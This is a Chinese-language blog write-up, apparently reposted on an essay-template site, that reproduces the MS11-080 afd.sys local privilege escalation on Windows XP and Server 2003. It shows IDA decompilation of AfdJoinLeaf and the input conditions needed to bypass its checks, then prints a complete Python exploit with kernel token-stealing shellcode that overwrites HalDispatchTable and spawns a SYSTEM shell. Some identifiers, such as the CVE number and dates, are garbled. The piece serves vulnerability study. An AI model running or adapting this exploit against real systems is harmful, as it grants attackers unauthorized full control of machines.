1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > [Windows] CVE-- Afd.sys 本地提权漏洞复现

[Windows] CVE-- Afd.sys 本地提权漏洞复现

时间:2020-04-25 07:06:59

相关推荐

[Windows] CVE-- Afd.sys 本地提权漏洞复现

前言

这是一个微软在.10发布的补丁中提到的系统辅助驱动程序Afd.sys存在的本地提权漏洞, 影响到Windows XP, 和Windows Server 系统. 漏洞成因是Microsoft Windows Ancillary Function Driver(afd.sys)驱动程序没有完善检测用户提交的数据, 攻击者可以利用该漏洞执行任意代码.

测试环境

VMware Workstation Pro 15.xsystem: Windows XP SP3python: python2.7IDA pro 7.6

afd.sys文件可以参考漏洞战争附件

漏洞分析

拖进IDA进行分析

这个驱动的漏洞在AfdJoinLeaf函数, 漏洞是通过比对官方补丁前后的驱动文件差异分析出来的, 当然如果说0Day怎么挖出来, 那就随缘了(一般在用户使用系统过程中出现非预期行为或者出现系统崩溃, 保存现场然后调试分析找到漏洞点; 或者就暴力fuzzing)

NTSTATUS __fastcall AfdJoinLeaf(IRP *a1, int a2){unsigned int v3; // edxULONG v4; // eaxULONG v5; // ecxHANDLE *v6; // eaxconst void *v7; // esichar *PoolWithQuotaTag; // edx_DWORD *v9; // eaxPIRP v10; // edi_DWORD *UserBuffer; // eax__int16 *v12; // esiNTSTATUS v13; // eax__int16 v14; // ax__int16 *v15; // ebx__int16 v16; // ax__int16 v17; // axint v18; // eaxint v19; // eaxint v21; // eaxPVOID Object; // [esp+14h] [ebp-50h] BYREFHANDLE Handle; // [esp+18h] [ebp-4Ch]KPROCESSOR_MODE AccessMode[4]; // [esp+1Ch] [ebp-48h]int v25; // [esp+20h] [ebp-44h] BYREFPVOID v26; // [esp+24h] [ebp-40h] BYREF_DWORD *v27; // [esp+28h] [ebp-3Ch]HANDLE v28; // [esp+2Ch] [ebp-38h]PVOID v29; // [esp+30h] [ebp-34h]PVOID v30; // [esp+34h] [ebp-30h] BYREFsigned int v31; // [esp+38h] [ebp-2Ch]PVOID P; // [esp+3Ch] [ebp-28h]PIRP Irp; // [esp+40h] [ebp-24h]int v34; // [esp+44h] [ebp-20h] BYREFNTSTATUS Connection; // [esp+48h] [ebp-1Ch]CPPEH_RECORD ms_exc; // [esp+4Ch] [ebp-18h]Irp = a1;v34 = 0;P = 0;if ( *(_DWORD *)(a2 + 8) < 0x18u || (v3 = *(_DWORD *)(a2 + 4)) != 0 && v3 < 8 ){Connection = -1073741811;v10 = Irp;goto LABEL_71;}ms_exc.registration.TryLevel = 0;if ( a1->RequestorMode ){if ( (*(_BYTE *)(a2 + 16) & 3) != 0 )ExRaiseDatatypeMisalignment();v4 = *(_DWORD *)(a2 + 16);v5 = v4 + *(_DWORD *)(a2 + 8);if ( v5 < v4 || v5 > _MmUserProbeAddress )ExRaiseAccessViolation();}v6 = *(HANDLE **)(a2 + 16);Handle = v6[2];v28 = v6[1];v7 = v6 + 3;v31 = *(_DWORD *)(a2 + 8) - 12;ms_exc.registration.TryLevel = 1;PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v31 + 48, 0xC9646641);P = PoolWithQuotaTag;Irp->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;memset(PoolWithQuotaTag, 0, 0x30u);qmemcpy(PoolWithQuotaTag + 48, v7, v31);if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v31 < *((unsigned __int16 *)P + 26) + 8 )ExRaiseStatus(-1073741811);v9 = P;*((_DWORD *)P + 5) = (char *)P + 48;v9[4] = v31;v10 = Irp;if ( *(_DWORD *)(a2 + 4) && Irp->RequestorMode == 1 ){if ( Irp->UserBuffer >= (PVOID)_MmUserProbeAddress )*(_DWORD *)_MmUserProbeAddress = 0;UserBuffer = v10->UserBuffer;*UserBuffer = *UserBuffer;UserBuffer[1] = UserBuffer[1];}ms_exc.registration.TryLevel = -1;v29 = *(PVOID *)(a2 + 24);v12 = (__int16 *)*((_DWORD *)v29 + 3);if ( *v12 == -21763 ){AccessMode[0] = v10->RequestorMode;v13 = ObReferenceObjectByHandle(Handle,(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,(POBJECT_TYPE)IoFileObjectType,AccessMode[0],&Object,0);v29 = Object;Connection = v13;if ( v13 < 0 ){LABEL_71:if ( P ){ExFreePoolWithTag(P, 0xC9646641);v10->AssociatedIrp.IrpCount = 0;}if ( v34 ){if ( !_InterlockedExchangeAdd((volatile signed __int32 *)(v34 + 32), 0xFFFFFFFF) )AfdCloseConnection(v34);}v10->IoStatus.Information = 0;v10->IoStatus.Status = Connection;IofCompleteRequest(v10, AfdPriorityBoost);return Connection;}if ( *((PVOID *)Object + 1) != AfdDeviceObject )goto LABEL_30;v12 = (__int16 *)*((_DWORD *)Object + 3);*(_DWORD *)(a2 + 24) = Object;}else{ObfReferenceObject(v29);}v14 = *v12;if ( *v12 != -20528 && v14 != -20526 && v14 != -20527 ){LABEL_61:Connection = -1073741811;goto LABEL_67;}if ( !v28 ){if ( v14 == -20527 ){if ( *((_BYTE *)v12 + 2) != 3 )return AfdDoDatagramConnect((int)v29, v10, 1);Connection = 0;goto LABEL_67;}if ( v14 != -20528 && v14 != -20526 && v14 != -20524 && v14 != -20522 )goto LABEL_61;v27 = v12 + 94;if ( _InterlockedCompareExchange((volatile signed __int32 *)v12 + 47, 3, 0) )goto LABEL_61;if ( *((_BYTE *)v12 + 2) == 2 ){Connection = AfdCreateConnection(*((_DWORD *)v12 + 35) + 16,*((_DWORD *)v12 + 34),(*((_DWORD *)v12 + 1) & 0x200) != 0,(*((_DWORD *)v12 + 3) >> 8) & 1,*((PEPROCESS *)v12 + 6),(int)&v34);if ( Connection >= 0 )goto LABEL_49;}else{Connection = -1073741811;}LABEL_66:*v27 = 0;goto LABEL_67;}Connection = ObReferenceObjectByHandle(v28,(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,(POBJECT_TYPE)IoFileObjectType,v10->RequestorMode,&v30,0);if ( Connection < 0 ){LABEL_67:ObfDereferenceObject(v29);goto LABEL_71;}if ( *((PVOID *)v30 + 1) != AfdDeviceObject ){ObfDereferenceObject(v30);LABEL_30:Connection = -1073741816;goto LABEL_67;}v15 = (__int16 *)*((_DWORD *)v30 + 3);v27 = v12 + 94;if ( _InterlockedCompareExchange((volatile signed __int32 *)v12 + 47, 3, 0) ){ObfDereferenceObject(v30);goto LABEL_61;}v16 = *v15;if ( (*v15 == -20528 || v16 == -20526 || v16 == -20524 || v16 == -20522)&& (v15[5] & 1) != 0&& *((_BYTE *)v15 + 2) == 3&& ((v17 = *v12, *v12 == -20528) || v17 == -20526 || v17 == -20524 || v17 == -20522)&& (v18 = *((_DWORD *)v15 + 35), *((_DWORD *)v12 + 35) == v18)&& *((_BYTE *)v12 + 2) == 1&& (Connection = AfdCreateConnection(v18 + 16,*((_DWORD *)v15 + 34),(*((_DWORD *)v15 + 1) & 0x200) != 0,(*((_DWORD *)v12 + 3) >> 8) & 1,*((PEPROCESS *)v12 + 6),(int)&v34),!_InterlockedCompareExchange((volatile signed __int32 *)v15 + 47, *((unsigned __int8 *)v15 + 2), 0)) ){AfdJoinInviteSetup(v15, v12);}else{Connection = -1073741811;}ObfDereferenceObject(v30);if ( Connection < 0 )goto LABEL_66;LABEL_49:_InterlockedExchangeAdd((volatile signed __int32 *)v12 + 8, 1u);*(_DWORD *)(v34 + 8) = v12;*((_DWORD *)v12 + 24) = v34;*v12 = -20526;AfdAddConnectedReference(v34);v26 = P;v25 = (int)P + 24;if ( *((_DWORD *)v12 + 26) )AfdSetupConnectDataBuffers(v12, v34, &v26, &v25);AfdEnableFailedConnectEvent(v12);_InterlockedExchangeAdd((volatile signed __int32 *)(v34 + 32), 1u);v19 = v10->Tail.Overlay.PacketType - 36;if ( AfdRestartJoin ){*(_DWORD *)(v19 + 28) = AfdRestartJoin;*(_DWORD *)(v19 + 32) = v34;*(_BYTE *)(v19 + 3) = -32;}else{*(_DWORD *)(v19 + 28) = 0;*(_DWORD *)(v19 + 32) = 0;*(_BYTE *)(v19 + 3) = 0;}v21 = v10->Tail.Overlay.PacketType - 36;*(_BYTE *)v21 = 15;*(_BYTE *)(v21 + 1) = 3;*(_DWORD *)(v21 + 20) = *(_DWORD *)(v34 + 16);*(_DWORD *)(v21 + 24) = *(_DWORD *)(v34 + 12);*(_DWORD *)(v21 + 8) = v26;*(_DWORD *)(v21 + 12) = v25;*(_DWORD *)(v21 + 16) = &AfdInfiniteTimeout;_InterlockedExchangeAdd((volatile signed __int32 *)v12 + 33, 1u);return IofCallDriver(*(PDEVICE_OBJECT *)(v34 + 16), v10);}

(1) 着重分析处理用户输入的逻辑

v9 = P;*((_DWORD *)P + 5) = (char *)P + 48;v9[4] = v31;v10 = Irp;if ( *(_DWORD *)(a2 + 4) && Irp->RequestorMode == 1 ){if ( Irp->UserBuffer >= (PVOID)_MmUserProbeAddress )*(_DWORD *)_MmUserProbeAddress = 0;UserBuffer = v10->UserBuffer;*UserBuffer = *UserBuffer;UserBuffer[1] = UserBuffer[1];}

对比汇编来分析会更清晰, 程序只在当OutBufferLength != 0的时候才检测UserBuffer地址有效性, 所以可以令OutBufferLength = 0绕过检测

此外还有4个关键点绕过

(2) 输入缓冲区限制为大于0x18

Irp = a1;v34 = 0;P = 0;if ( *(_DWORD *)(a2 + 8) < 0x18u || (v3 = *(_DWORD *)(a2 + 4)) != 0 && v3 < 8 ){Connection = -1073741811;v10 = Irp;goto LABEL_71;}

(3) InputBuffer的第9个字节不能为0

v6 = *(HANDLE **)(a2 + 16);Handle = v6[2];...v13 = ObReferenceObjectByHandle(Handle,(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,(POBJECT_TYPE)IoFileObjectType,AccessMode[0],&Object,0);

(4) InputBuffer的第13字节必须为1, 且*(_DWORD *)(a2 + 8) - 12 < *((unsigned __int16 *)P + 26) + 8 ), 即*(InputBuffer + 0x10) + 8 < InputBufferLength - 0xC

v7 = v6 + 3;v31 = *(_DWORD *)(a2 + 8) - 12;ms_exc.registration.TryLevel = 1;PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v31 + 48, 0xC9646641);P = PoolWithQuotaTag;Irp->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;memset(PoolWithQuotaTag, 0, 0x30u);qmemcpy(PoolWithQuotaTag + 48, v7, v31);if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v31 < *((unsigned __int16 *)P + 26) + 8 )ExRaiseStatus(-1073741811);

(5) 链接到本地未开放端口, 且套接字状态为CONNECTING

v13 = ObReferenceObjectByHandle(Handle,(unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,(POBJECT_TYPE)IoFileObjectType,AccessMode[0],&Object,0);...v12 = (__int16 *)*((_DWORD *)Object + 3);...if ( *((_BYTE *)v12 + 2) == 2 ) // 2, CONNECTING{Connection = AfdCreateConnection(*((_DWORD *)v12 + 35) + 16,*((_DWORD *)v12 + 34),(*((_DWORD *)v12 + 1) & 0x200) != 0,(*((_DWORD *)v12 + 3) >> 8) & 1,*((PEPROCESS *)v12 + 6),(int)&v34);if ( Connection >= 0 )goto LABEL_49;}

漏洞利用

(1) 绕过UserBuffer检测, 设置OutBufferLength = 0

(2) InputBufferLength > 0x18

(3) *(InputBuffer + 8) != 0

(4) *(InputBuffer + 0x10) + 8 < InputBufferLength - 0xC

IOCTL = 0x000120bb# AFDJoinLeafinputbuffer = 0x1004inputbuffer_size = 0x108outputbuffer_size = 0x0 # Bypass Probe for Writeoutputbuffer= HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1IoStatusBlock = c_ulong()

(5) 维持套接字为CONNECTING

WSAGetLastError= windll.Ws2_32.WSAGetLastErrorWSAGetLastError.argtypes = ()WSAGetLastError.restype = c_intSOCKET = c_intWSASocket= windll.Ws2_32.WSASocketAWSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)WSASocket.restype = SOCKETclosesocket = windll.Ws2_32.closesocketclosesocket.argtypes= (SOCKET,)closesocket.restype= c_intconnect = windll.Ws2_32.connectconnect.argtypes = (SOCKET, c_void_p, c_int)connect.restype= c_int

EXP

from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,c_char, c_short, c_ushort, c_int, c_uint, c_ulong,c_void_p, c_long, c_char_p)from ctypes.wintypes import HANDLE, DWORDimport socket, time, os, struct, sysfrom optparse import OptionParserusage = "%prog -O TARGET_OS"parser = OptionParser(usage=usage)parser.add_option("-O", "--target-os", type="string",action="store", dest="target_os",help="Target OS. Accepted values: XP, 2K3")(options, args) = parser.parse_args()OS = options.target_osif not OS or OS.upper() not in ['XP','2K3']:parser.print_help()sys.exit()OS = OS.upper()kernel32 = windll.kernel32ntdll = windll.ntdllPsapi = windll.Psapidef findSysBase(drvname=None):ARRAY_SIZE = 1024myarray= c_ulong * ARRAY_SIZE lpImageBase = myarray() cb= c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value)if drvname:if drivername.value.lower() == drvname:print "[+] Retrieving %s info..." % drvnameprint "[+] %s base address: %s" % (drvname, hex(baseaddy))return baseaddyelse:if drivername.value.lower().find("krnl") !=-1:print "[+] Retrieving Kernel info..."print "[+] Kernel version:", drivername.valueprint "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value)return Noneprint "[>] MS11-080 Privilege Escalation Exploit"print "[>] Matteo Memelli - ryujin@"print "[>] Release Date 28/11/"WSAGetLastError= windll.Ws2_32.WSAGetLastErrorWSAGetLastError.argtypes = ()WSAGetLastError.restype = c_intSOCKET = c_intWSASocket= windll.Ws2_32.WSASocketAWSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)WSASocket.restype = SOCKETclosesocket = windll.Ws2_32.closesocketclosesocket.argtypes= (SOCKET,)closesocket.restype= c_intconnect = windll.Ws2_32.connectconnect.argtypes = (SOCKET, c_void_p, c_int)connect.restype= c_intclass sockaddr_in(Structure):_fields_ = [("sin_family", c_short),("sin_port", c_ushort),("sin_addr", c_ulong),("sin_zero", c_char * 8),]## Create our deviceiocontrol socket handleclient = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,None, 0, 0)if client == ~0:raise OSError, "WSASocket: %s" % (WSAGetLastError(),)try:addr = sockaddr_in()addr.sin_family = socket.AF_INETaddr.sin_port = socket.htons(4455)addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1## We need to connect to a closed port, socket state must be CONNECTINGconnect(client, byref(addr), sizeof(addr))except:closesocket(client)raisebaseadd = c_int(0x1001)MEMRES= (0x1000 | 0x2000)PAGEEXE = 0x00000040Zerobits = c_int(0)RegionSize = c_int(0x1000)written = c_int(0)## This will trigger the path to AfdRestartJoinirpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42""\x00\x00\x00\x00\x44\x44\x44\x44""\x01\x00\x00\x00""\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)## Allocate space for the input bufferdwStatus = ntdll.NtAllocateVirtualMemory(-1,byref(baseadd),0x0,byref(RegionSize),MEMRES,PAGEEXE)# Copy input buffer to itkernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))startPage = c_int(0x00020000)kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))################################# KERNEL INFO ##################################lpDriver= c_char_p()lpPath = c_char_p()lpDrvAddress = c_long()(krnlbase, kernelver) = findSysBase()hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")HalDispatchTable -= hKernelHalDispatchTable += krnlbaseprint "[+] HalDispatchTable address:", hex(HalDispatchTable)halbase = findSysBase("hal.dll")## WinXP SP3if OS == "XP":HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3## Win2k3 SP2else:HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)################################# EXPLOITATION #################################shellcode_address_dep = 0x0002071eshellcode_address_nodep = 0x000207b8padding = "\x90"*2HalDispatchTable0x4 = HalDispatchTable + 0x4HalDispatchTable0x8 = HalDispatchTable + 0x8## tokenbkaddr= 0x00020900if OS == "XP":_KPROCESS = "\x44"_TOKEN = "\xc8"_UPID= "\x84"_APLINKS = "\x88"else:_KPROCESS = "\x38"_TOKEN = "\xd8"_UPID= "\x94"_APLINKS = "\x98"restore_ptrs = "\x31\xc0" + \"\xb8" + struct.pack("L", HalpSetSystemInformation) + \"\xa3" + struct.pack("L", HalDispatchTable0x8) + \"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \"\xa3" + struct.pack("L", HalDispatchTable0x4)tokenstealing = "\x52" +\"\x53" +\"\x33\xc0" +\"\x64\x8b\x80\x24\x01\x00\x00" +\"\x8b\x40" + _KPROCESS +\"\x8b\xc8" +\"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\"\x89\x1d\x00\x09\x02\x00" +\"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\"\x75\xe8" +\"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\"\x8b\xc1" +\"\x89\x90" + _TOKEN + "\x00\x00\x00" +\"\x5b" +\"\x5a" +\"\xc2\x10"restore_token = "\x52" +\"\x33\xc0" +\"\x64\x8b\x80\x24\x01\x00\x00" +\"\x8b\x40" + _KPROCESS +\"\x8b\x15\x00\x09\x02\x00" +\"\x89\x90" + _TOKEN + "\x00\x00\x00" +\"\x5a" +\"\xc2\x10"shellcode = padding + restore_ptrs + tokenstealingshellcode_size = len(shellcode)orig_size = shellcode_size# Write shellcode in userspace (dep)kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,shellcode_size, byref(written))# Write shellcode in userspace *(nodep)kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,shellcode_size, byref(written))## Trigger Pointer Overwriteprint "[*] Triggering AFDJoinLeaf pointer overwrite..."IOCTL = 0x000120bb# AFDJoinLeafinputbuffer = 0x1004inputbuffer_size = 0x108outputbuffer_size = 0x0 # Bypass Probe for Writeoutputbuffer= HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1IoStatusBlock = c_ulong()NTSTATUS = ntdll.ZwDeviceIoControlFile(client,None,None,None,byref(IoStatusBlock),IOCTL,inputbuffer,inputbuffer_size,outputbuffer,outputbuffer_size)## Trigger shellcodeinp = c_ulong()out = c_ulong()inp = 0x1337hola = ntdll.NtQueryIntervalProfile(inp, byref(out))## Spawn a system shell, w00t!print "[*] Spawning a SYSTEM shell..."os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")############################## POST EXPLOITATION ###############################print "[*] Restoring token..."## Restore the thingieshellcode = padding + restore_ptrs + restore_tokenshellcode_size = len(shellcode)trail_padding= (orig_size - shellcode_size) * "\x00"shellcode += trail_paddingshellcode_size += (orig_size - shellcode_size)## Write restore shellcode in userspace (dep)kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,shellcode_size, byref(written))## Write restore shellcode in userspace (nodep)kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,shellcode_size, byref(written))## Overwrite HalDispatchTable once againNTSTATUS = ntdll.ZwDeviceIoControlFile(client,None,None,None,byref(IoStatusBlock),IOCTL,inputbuffer,inputbuffer_size,outputbuffer,outputbuffer_size)## Trigger restore shellcodehola = ntdll.NtQueryIntervalProfile(inp, byref(out))print "[+] Restore done! Have a nice day :)"

效果

总结

参考列表

[1] 漏洞战争

[2] https://www.exploit-/exploits/18176

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。